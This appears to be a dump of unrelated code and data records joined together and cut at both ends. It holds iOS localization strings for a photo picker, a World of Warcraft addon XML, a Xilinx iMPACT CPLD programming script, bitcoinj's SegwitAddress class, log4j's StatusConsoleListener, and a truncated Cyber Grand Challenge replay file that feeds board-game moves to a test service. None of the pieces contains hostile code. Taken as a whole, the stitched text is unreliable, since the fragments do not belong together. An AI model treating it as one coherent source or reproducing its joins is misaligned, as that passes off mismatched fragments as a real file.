*/\n\"V01-fT-RbR.text\" = \"Custom Album Cell & Layout\";\n\n/* Class = \"UILabel\"; text = \"Show/Hide Empty Albums\"; ObjectID = \"ZnK-wU-zl5\"; */\n\"ZnK-wU-zl5.text\" = \"Show/Hide Empty Albums\";\n\n/* Class = \"UILabel\"; text = \"Custom Asset Cell & Layout\"; ObjectID = \"bFM-04-mtq\"; */\n\"bFM-04-mtq.text\" = \"Custom Asset Cell & Layout\";\n\n/* Class = \"UILabel\"; text = \"Custom Asset Filter by PHFetchOptions\"; ObjectID = \"fd7-wl-qNV\"; */\n\"fd7-wl-qNV.text\" = \"Custom Asset Filter by PHFetchOptions\";\n\n/* Class = \"UILabel\"; text = \"Custom Album Filter by PHFetchOptions\"; ObjectID = \"gbd-aR-wJN\"; */\n\"gbd-aR-wJN.text\" = \"Custom Album Filter by PHFetchOptions\";\n\n/* Class = \"UILabel\"; text = \"Custom Album Filter by Block\"; ObjectID = \"kN3-jP-3pt\"; */\n\"kN3-jP-3pt.text\" = \"Custom Album Filter by Block\";\n\n/* Class = \"UILabel\"; text = \"Custom Album Order by Block\"; ObjectID = \"kgI-yV-i1T\"; */\n\"kgI-yV-i1T.text\" = \"Custom Album Order by Block\";\n\n/* Class = \"UITableViewSection\"; headerTitle = \"Sorting\"; ObjectID = \"mxV-kP-Klc\"; */\n\"mxV-kP-Klc.headerTitle\" = \"Sorting\";\n\n/* Class = \"UILabel\"; text = \"Show/Hide Hidden Album\"; ObjectID = \"pp8-mo-h2x\"; */\n\"pp8-mo-h2x.text\" = \"Show/Hide Hidden Album\";\n"} {"text": "<Ui xsi:schemaLocation=\"http://www.blizzard.com/wow/ui/\r\n..\\FrameXML\\UI.xsd\">\r\n <Script file=\"MainPanel.lua\" />\r\n <Script file=\"BrowsePanel.lua\" />\r\n <Script file=\"ManagerPanel.lua\" />\r\n <Script file=\"CreatePanel.lua\" />\r\n <Script file=\"ApplicantPanel.lua\" />\r\n <Script file=\"ExchangePanel.lua\" />\r\n <Script file=\"MallPanel.lua\" />\r\n <Script file=\"RewardPanel.lua\" />\r\n <Script file=\"ActivitiesParent.lua\" />\r\n <Script file=\"ActivitiesSummary.lua\" />\r\n <Script file=\"ActivitiesMall.lua\" />\r\n <Script file=\"ActivitiesLottery.lua\" />\r\n <Script file=\"AppParent.lua\" />\r\n <Script file=\"AppFollowQueryPanel.lua\" />\r\n <Script file=\"AppFollowPanel.lua\" />\r\n <Script file=\"RecentPanel.lua\" />\r\n <Script file=\"OptionPanel.lua\" />\r\n <Script file=\"PlayerInfoDialog.lua\" />\r\n <Script file=\"AppQrDialog.lua\" />\r\n <Script file=\"DataBroker.lua\" />\r\n</Ui>\r\n"} {"text": "loadProjectFile -file \"C:\\cygwin\\home\\matt\\usrp2\\fpga\\boot_cpld/boot_cpld.ipf\"\r\nsetMode -ss\r\nsetMode -sm\r\nsetMode -hw140\r\nsetMode -spi\r\nsetMode -acecf\r\nsetMode -acempm\r\nsetMode -pff\r\nsetMode -bs\r\nsetMode -bs\r\nsetMode -bs\r\nsetMode -bs\r\nsetCable -port auto\r\nIdentify \r\nidentifyMPM \r\nassignFile -p 1 -file \"C:/cygwin/home/matt/usrp2/fpga/boot_cpld/boot_cpld.jed\"\r\nProgram -p 1 -e -v -defaultVersion 0 \r\nProgram -p 1 -e -v -defaultVersion 0 \r\nProgram -p 1 -e -v -defaultVersion 0 \r\nProgram -p 1 -e -v -defaultVersion 0 \r\nProgram -p 1 -e -v -defaultVersion 0 \r\nProgram -p 1 -e -v -defaultVersion 0 \r\nIdentify \r\nidentifyMPM \r\nIdentify \r\nidentifyMPM \r\nIdentify \r\nidentifyMPM \r\nIdentify \r\nidentifyMPM \r\nIdentify \r\nidentifyMPM \r\nsetMode -bs\r\ndeleteDevice -position 1\r\n"} {"text": "/*\n * Copyright by the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.bitcoinj.core;\n\nimport static com.google.common.base.Preconditions.checkArgument;\nimport static com.google.common.base.Preconditions.checkState;\n\nimport java.io.ByteArrayOutputStream;\n\nimport javax.annotation.Nullable;\n\nimport com.google.common.primitives.UnsignedBytes;\nimport org.bitcoinj.params.Networks;\nimport org.bitcoinj.script.Script;\n\n/**\n * <p>Implementation of native segwit addresses. They are composed of two parts:</p>\n *\n * <ul>\n * <li>A human-readable part (HRP) which is a string the specifies the network. See\n * {@link NetworkParameters#getSegwitAddressHrp()}.</li>\n * <li>A data part, containing the witness version (encoded as an OP_N operator) and program (encoded by re-arranging\n * bits into groups of 5).</li>\n * </ul>\n *\n * <p>See <a href=\"https://github.com/bitcoin/bips/blob/master/bip-0173.mediawiki\">BIP173</a> for details.</p>\n *\n * <p>However, you don't need to care about the internals. Use {@link #fromBech32(NetworkParameters, String)},\n * {@link #fromHash(NetworkParameters, byte[])} or {@link #fromKey(NetworkParameters, ECKey)} to construct a native\n * segwit address.</p>\n */\npublic class SegwitAddress extends Address {\n public static final int WITNESS_PROGRAM_LENGTH_PKH = 20;\n public static final int WITNESS_PROGRAM_LENGTH_SH = 32;\n public static final int WITNESS_PROGRAM_MIN_LENGTH = 2;\n public static final int WITNESS_PROGRAM_MAX_LENGTH = 40;\n\n /**\n * Private constructor. Use {@link #fromBech32(NetworkParameters, String)},\n * {@link #fromHash(NetworkParameters, byte[])} or {@link #fromKey(NetworkParameters, ECKey)}.\n * \n * @param params\n * network this address is valid for\n * @param witnessVersion\n * version number between 0 and 16\n * @param witnessProgram\n * hash of pubkey or script (for version 0)\n */\n private SegwitAddress(NetworkParameters params, int witnessVersion, byte[] witnessProgram)\n throws AddressFormatException {\n this(params, encode(witnessVersion, witnessProgram));\n }\n\n /**\n * Helper for the above constructor.\n */\n private static byte[] encode(int witnessVersion, byte[] witnessProgram) throws AddressFormatException {\n byte[] convertedProgram = convertBits(witnessProgram, 0, witnessProgram.length, 8, 5, true);\n byte[] bytes = new byte[1 + convertedProgram.length];\n bytes[0] = (byte) (witnessVersion & 0xff);\n System.arraycopy(convertedProgram, 0, bytes, 1, convertedProgram.length);\n return bytes;\n }\n\n /**\n * Private constructor. Use {@link #fromBech32(NetworkParameters, String)},\n * {@link #fromHash(NetworkParameters, byte[])} or {@link #fromKey(NetworkParameters, ECKey)}.\n * \n * @param params\n * network this address is valid for\n * @param data\n * in segwit address format, before bit re-arranging and bech32 encoding\n * @throws AddressFormatException\n * if any of the sanity checks fail\n */\n private SegwitAddress(NetworkParameters params, byte[] data) throws AddressFormatException {\n super(params, data);\n if (data.length < 1)\n throw new AddressFormatException.InvalidDataLength(\"Zero data found\");\n final int witnessVersion = getWitnessVersion();\n if (witnessVersion < 0 || witnessVersion > 16)\n throw new AddressFormatException(\"Invalid script version: \" + witnessVersion);\n byte[] witnessProgram = getWitnessProgram();\n if (witnessProgram.length < WITNESS_PROGRAM_MIN_LENGTH || witnessProgram.length > WITNESS_PROGRAM_MAX_LENGTH)\n throw new AddressFormatException.InvalidDataLength(\"Invalid length: \" + witnessProgram.length);\n // Check script length for version 0\n if (witnessVersion == 0 && witnessProgram.length != WITNESS_PROGRAM_LENGTH_PKH\n && witnessProgram.length != WITNESS_PROGRAM_LENGTH_SH)\n throw new AddressFormatException.InvalidDataLength(\n \"Invalid length for address version 0: \" + witnessProgram.length);\n }\n\n /**\n * Returns the witness version in decoded form. Only version 0 is in use right now.\n * \n * @return witness version, between 0 and 16\n */\n public int getWitnessVersion() {\n return bytes[0] & 0xff;\n }\n\n /**\n * Returns the witness program in decoded form.\n * \n * @return witness program\n */\n public byte[] getWitnessProgram() {\n // skip version byte\n return convertBits(bytes, 1, bytes.length - 1, 5, 8, false);\n }\n\n @Override\n public byte[] getHash() {\n return getWitnessProgram();\n }\n\n /**\n * Get the type of output script that will be used for sending to the address. This is either\n * {@link Script.ScriptType#P2WPKH} or {@link Script.ScriptType#P2WSH}.\n * \n * @return type of output script\n */\n @Override\n public Script.ScriptType getOutputScriptType() {\n int version = getWitnessVersion();\n checkState(version == 0);\n int programLength = getWitnessProgram().length;\n if (programLength == WITNESS_PROGRAM_LENGTH_PKH)\n return Script.ScriptType.P2WPKH;\n if (programLength == WITNESS_PROGRAM_LENGTH_SH)\n return Script.ScriptType.P2WSH;\n throw new IllegalStateException(\"Cannot happen.\");\n }\n\n @Override\n public String toString() {\n return toBech32();\n }\n\n /**\n * Construct a {@link SegwitAddress} from its textual form.\n * \n * @param params\n * expected network this address is valid for, or null if the network should be derived from the bech32\n * @param bech32\n * bech32-encoded textual form of the address\n * @return constructed address\n * @throws AddressFormatException\n * if something about the given bech32 address isn't right\n */\n public static SegwitAddress fromBech32(@Nullable NetworkParameters params, String bech32)\n throws AddressFormatException {\n Bech32.Bech32Data bechData = Bech32.decode(bech32);\n if (params == null) {\n for (NetworkParameters p : Networks.get()) {\n if (bechData.hrp.equals(p.getSegwitAddressHrp()))\n return new SegwitAddress(p, bechData.data);\n }\n throw new AddressFormatException.InvalidPrefix(\"No network found for \" + bech32);\n } else {\n if (bechData.hrp.equals(params.getSegwitAddressHrp()))\n return new SegwitAddress(params, bechData.data);\n throw new AddressFormatException.WrongNetwork(bechData.hrp);\n }\n }\n\n /**\n * Construct a {@link SegwitAddress} that represents the given hash, which is either a pubkey hash or a script hash.\n * The resulting address will be either a P2WPKH or a P2WSH type of address.\n * \n * @param params\n * network this address is valid for\n * @param hash\n * 20-byte pubkey hash or 32-byte script hash\n * @return constructed address\n */\n public static SegwitAddress fromHash(NetworkParameters params, byte[] hash) {\n return new SegwitAddress(params, 0, hash);\n }\n\n /**\n * Construct a {@link SegwitAddress} that represents the public part of the given {@link ECKey}. Note that an\n * address is derived from a hash of the public key and is not the public key itself.\n * \n * @param params\n * network this address is valid for\n * @param key\n * only the public part is used\n * @return constructed address\n */\n public static SegwitAddress fromKey(NetworkParameters params, ECKey key) {\n checkArgument(key.isCompressed(), \"only compressed keys allowed\");\n return fromHash(params, key.getPubKeyHash());\n }\n\n /**\n * Returns the textual form of the address.\n * \n * @return textual form encoded in bech32\n */\n public String toBech32() {\n return Bech32.encode(params.getSegwitAddressHrp(), bytes);\n }\n\n /**\n * Helper for re-arranging bits into groups.\n */\n private static byte[] convertBits(final byte[] in, final int inStart, final int inLen, final int fromBits,\n final int toBits, final boolean pad) throws AddressFormatException {\n int acc = 0;\n int bits = 0;\n ByteArrayOutputStream out = new ByteArrayOutputStream(64);\n final int maxv = (1 << toBits) - 1;\n final int max_acc = (1 << (fromBits + toBits - 1)) - 1;\n for (int i = 0; i < inLen; i++) {\n int value = in[i + inStart] & 0xff;\n if ((value >>> fromBits) != 0) {\n throw new AddressFormatException(\n String.format(\"Input value '%X' exceeds '%d' bit size\", value, fromBits));\n }\n acc = ((acc << fromBits) | value) & max_acc;\n bits += fromBits;\n while (bits >= toBits) {\n bits -= toBits;\n out.write((acc >>> bits) & maxv);\n }\n }\n if (pad) {\n if (bits > 0)\n out.write((acc << (toBits - bits)) & maxv);\n } else if (bits >= fromBits || ((acc << (toBits - bits)) & maxv) != 0) {\n throw new AddressFormatException(\"Could not convert bits, invalid padding\");\n }\n return out.toByteArray();\n }\n\n /**\n * {@inheritDoc}\n *\n * @param o other {@code Address} object\n * @return comparison result\n */\n @Override\n public int compareTo(Address o) {\n int result = compareAddressPartial(o);\n if (result != 0) return result;\n\n // Compare the bytes\n return UnsignedBytes.lexicographicalComparator().compare(this.bytes, o.bytes);\n }\n}\n"} {"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache license, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the license for the specific language governing permissions and\n * limitations under the license.\n */\npackage org.apache.logging.log4j.status;\n\nimport java.io.IOException;\nimport java.io.PrintStream;\n\nimport org.apache.logging.log4j.Level;\n\n/**\n * StatusListener that writes to the Console.\n */\n@SuppressWarnings(\"UseOfSystemOutOrSystemErr\")\npublic class StatusConsoleListener implements StatusListener {\n\n private Level level = Level.FATAL;\n private String[] filters;\n private final PrintStream stream;\n\n /**\n * Creates the StatusConsoleListener using the supplied Level.\n * @param level The Level of status messages that should appear on the console.\n */\n public StatusConsoleListener(final Level level) {\n this(level, System.out);\n }\n\n /**\n * Creates the StatusConsoleListener using the supplied Level. Make sure not to use a logger stream of some sort\n * to avoid creating an infinite loop of indirection!\n * @param level The Level of status messages that should appear on the console.\n * @param stream The PrintStream to write to.\n * @throws IllegalArgumentException if the PrintStream argument is {@code null}.\n */\n public StatusConsoleListener(final Level level, final PrintStream stream) {\n if (stream == null) {\n throw new IllegalArgumentException(\"You must provide a stream to use for this listener.\");\n }\n this.level = level;\n this.stream = stream;\n }\n\n /**\n * Sets the level to a new value.\n * @param level The new Level.\n */\n public void setLevel(final Level level) {\n this.level = level;\n }\n\n /**\n * Return the Log Level for which the Listener should receive events.\n * @return the Log Level.\n */\n @Override\n public Level getStatusLevel() {\n return this.level;\n }\n\n /**\n * Writes status messages to the console.\n * @param data The StatusData.\n */\n @Override\n public void log(final StatusData data) {\n if (!filtered(data)) {\n stream.println(data.getFormattedStatus());\n }\n }\n\n /**\n * Adds package name filters to exclude.\n * @param filters An array of package names to exclude.\n */\n public void setFilters(final String... filters) {\n this.filters = filters;\n }\n\n private boolean filtered(final StatusData data) {\n if (filters == null) {\n return false;\n }\n final String caller = data.getStackTraceElement().getClassName();\n for (final String filter : filters) {\n if (caller.startsWith(filter)) {\n return true;\n }\n }\n return false;\n }\n\n @Override\n public void close() throws IOException {\n // only want to close non-system streams\n if (this.stream != System.out && this.stream != System.err) {\n this.stream.close();\n }\n }\n}\n"} {"text": "<?xml version=\"1.0\" standalone=\"no\" ?>\n<!DOCTYPE pov SYSTEM \"/usr/share/cgc-docs/replay.dtd\">\n<pov>\n<cbid>service</cbid>\n<replay>\n <write><data>UUUUUUUU</data></write>\n <read><delim>\\x0a</delim><match><data>What is your name?\\x0a</data></match></read>\n <write><data>User\\x0a</data></write>\n <read><delim>\\x0a</delim><match><data>Hi\\x2c User\\x0a</data></match></read>\n <read><delim>\\x3e</delim><match><pcre>.*?0 B ></pcre></match></read>\n <write><data>15 18\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?1 B ></pcre></match></read>\n <write><data>5 12\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?2 B ></pcre></match></read>\n <write><data>0 13\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?3 B ></pcre></match></read>\n <write><data>10 10\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?4 B ></pcre></match></read>\n <write><data>9 5\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?5 B ></pcre></match></read>\n <write><data>16 18\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?6 B ></pcre></match></read>\n <write><data>14 6\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?7 B ></pcre></match></read>\n <write><data>8 7\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?8 B ></pcre></match></read>\n <write><data>18 8\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?9 B ></pcre></match></read>\n <write><data>5 14\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?10 B ></pcre></match></read>\n <write><data>16 0\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?11 B ></pcre></match></read>\n <write><data>1 10\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?12 B ></pcre></match></read>\n <write><data>9 9\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?13 B ></pcre></match></read>\n <write><data>14 18\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?14 B ></pcre></match></read>\n <write><data>16 18\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?14 B ></pcre></match></read>\n <write><data>4 1\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?14 B ></pcre></match></read>\n <write><data>19 14\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?14 B ></pcre></match></read>\n <write><data>7 18\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?15 B ></pcre></match></read>\n <write><data>2 2\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?16 B ></pcre></match></read>\n <write><data>3 1\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?17 B ></pcre></match></read>\n <write><data>3 17\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?18 B ></pcre></match></read>\n <write><data>16 11\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?19 B ></pcre></match></read>\n <write><data>17 7\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?20 B ></pcre></match></read>\n <write><data>14 19\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?20 B ></pcre></match></read>\n <write><data>6 1\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?20 B ></pcre></match></read>\n <write><data>8 15\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?21 B ></pcre></match></read>\n <write><data>15 4\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?21 B ></pcre></match></read>\n <write><data>4 5\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?22 B ></pcre></match></read>\n <write><data>0 16\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?23 B ></pcre></match></read>\n <write><data>16 1\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?24 B ></pcre></match></read>\n <write><data>13 15\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?25 B ></pcre></match></read>\n <write><data>1 15\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?26 B ></pcre></match></read>\n <write><data>11 10\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?27 B ></pcre></match></read>\n <write><data>pass\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?28 B ></pcre></match></read>\n <write><data>0 12\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?29 B ></pcre></match></read>\n <write><data>8 10\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?30 B ></pcre></match></read>\n <write><data>8 18\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?31 B ></pcre></match></read>\n <write><data>6 3\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?31 B ></pcre></match></read>\n <write><data>7 4\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?32 B ></pcre></match></read>\n <write><data>14 13\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?33 B ></pcre></match></read>\n <write><data>9 19\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?33 B ></pcre></match></read>\n <write><data>2 13\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?34 B ></pcre></match></read>\n <write><data>6 2\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?34 B ></pcre></match></read>\n <write><data>8 16\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?35 B ></pcre></match></read>\n <write><data>2 13\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?35 B ></pcre></match></read>\n <write><data>4 7\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?36 B ></pcre></match></read>\n <write><data>pass\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?37 B ></pcre></match></read>\n <write><data>11 10\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?37 B ></pcre></match></read>\n <write><data>9 15\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?38 B ></pcre></match></read>\n <write><data>9 19\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?38 B ></pcre></match></read>\n <write><data>0 11\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?39 B ></pcre></match></read>\n <write><data>11 1\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?40 B ></pcre></match></read>\n <write><data>7 6\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?41 B ></pcre></match></read>\n <write><data>12 10\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?42 B ></pcre></match></read>\n <write><data>6 1\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?42 B ></pcre></match></read>\n <write><data>0 16\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?42 B ></pcre></match></read>\n <write><data>19 11\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?42 B ></pcre></match></read>\n <write><data>5 16\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?43 B ></pcre></match></read>\n <write><data>5 4\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?44 B ></pcre></match></read>\n <write><data>18 0\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?44 B ></pcre></match></read>\n <write><data>4 7\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?44 B ></pcre></match></read>\n <write><data>5 0\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?45 B ></pcre></match></read>\n <write><data>8 1\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?45 B ></pcre></match></read>\n <write><data>17 1\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?46 B ></pcre></match></read>\n <write><data>16 19\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?46 B ></pcre></match></read>\n <write><data>11 18\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?47 B ></pcre></match></read>\n <write><data>pass\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?48 B ></pcre></match></read>\n <write><data>16 6\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?49 B ></pcre></match></read>\n <write><data>0 14\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?50 B ></pcre></match></read>\n <write><data>5 9\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?51 B ></pcre></match></read>\n <write><data>17 18\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?52 B ></pcre></match></read>\n <write><data>18 7\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?53 B ></pcre></match></read>\n <write><data>8 2\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?54 B ></pcre></match></read>\n <write><data>10 9\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?55 B ></pcre></match></read>\n <write><data>11 9\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?56 B ></pcre></match></read>\n <write><data>17 0\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?56 B ></pcre></match></read>\n <write><data>11 7\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?56 B ></pcre></match></read>\n <write><data>1 13\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?57 B ></pcre></match></read>\n <write><data>19 1\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?57 B ></pcre></match></read>\n <write><data>16 0\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?57 B ></pcre></match></read>\n <write><data>16 19\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?57 B ></pcre></match></read>\n <write><data>7 6\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?57 B ></pcre></match></read>\n <write><data>7 10\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?58 B ></pcre></match></read>\n <write><data>1 7\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?59 B ></pcre></match></read>\n <write><data>14 7\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?59 B ></pcre></match></read>\n <write><data>10 16\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?60 B ></pcre></match></read>\n <write><data>1 8\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?61 B ></pcre></match></read>\n <write><data>7 12\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?62 B ></pcre></match></read>\n <write><data>14 1\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?63 B ></pcre></match></read>\n <write><data>13 5\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?63 B ></pcre></match></read>\n <write><data>3 6\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?64 B ></pcre></match></read>\n <write><data>17 15\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?65 B ></pcre></match></read>\n <write><data>19 18\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?65 B ></pcre></match></read>\n <write><data>10 0\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?66 B ></pcre></match></read>\n <write><data>10 4\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?66 B ></pcre></match></read>\n <write><data>11 19\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?66 B ></pcre></match></read>\n <write><data>15 9\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?67 B ></pcre></match></read>\n <write><data>4 1\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?67 B ></pcre></match></read>\n <write><data>pass\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?68 B ></pcre></match></read>\n <write><data>13 1\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?69 B ></pcre></match></read>\n <write><data>19 6\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?69 B ></pcre></match></read>\n <write><data>5 11\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?70 B ></pcre></match></read>\n <write><data>6 1\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?70 B ></pcre></match></read>\n <write><data>14 18\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?70 B ></pcre></match></read>\n <write><data>1 13\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?70 B ></pcre></match></read>\n <write><data>6 17\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?71 B ></pcre></match></read>\n <write><data>11 6\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?72 B ></pcre></match></read>\n <write><data>11 14\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?73 B ></pcre></match></read>\n <write><data>1 7\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?73 B ></pcre></match></read>\n <write><data>17 3\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?73 B ></pcre></match></read>\n <write><data>1 12\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?74 B ></pcre></match></read>\n <write><data>6 16\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?75 B ></pcre></match></read>\n <write><data>9 8\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?75 B ></pcre></match></read>\n <write><data>4 18\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?76 B ></pcre></match></read>\n <write><data>3 5\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?76 B ></pcre></match></read>\n <write><data>7 19\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?76 B ></pcre></match></read>\n <write><data>2 17\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?77 B ></pcre></match></read>\n <write><data>5 1\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?78 B ></pcre></match></read>\n <write><data>12 15\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?79 B ></pcre></match></read>\n <write><data>9 9\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?79 B ></pcre></match></read>\n <write><data>6 1\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?79 B ></pcre></match></read>\n <write><data>10 15\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?80 B ></pcre></match></read>\n <write><data>4 4\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?81 B ></pcre></match></read>\n <write><data>9 7\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?81 B ></pcre></match></read>\n <write><data>19 15\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?81 B ></pcre></match></read>\n <write><data>12 1\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?82 B ></pcre></match></read>\n <write><data>17 9\\x0a</data></write>\n <read><delim>\\x3e</delim><match><pcre>.*?82 B ></pcre></match></read>\n <write><data>16 17\\x0a</data></write>\n 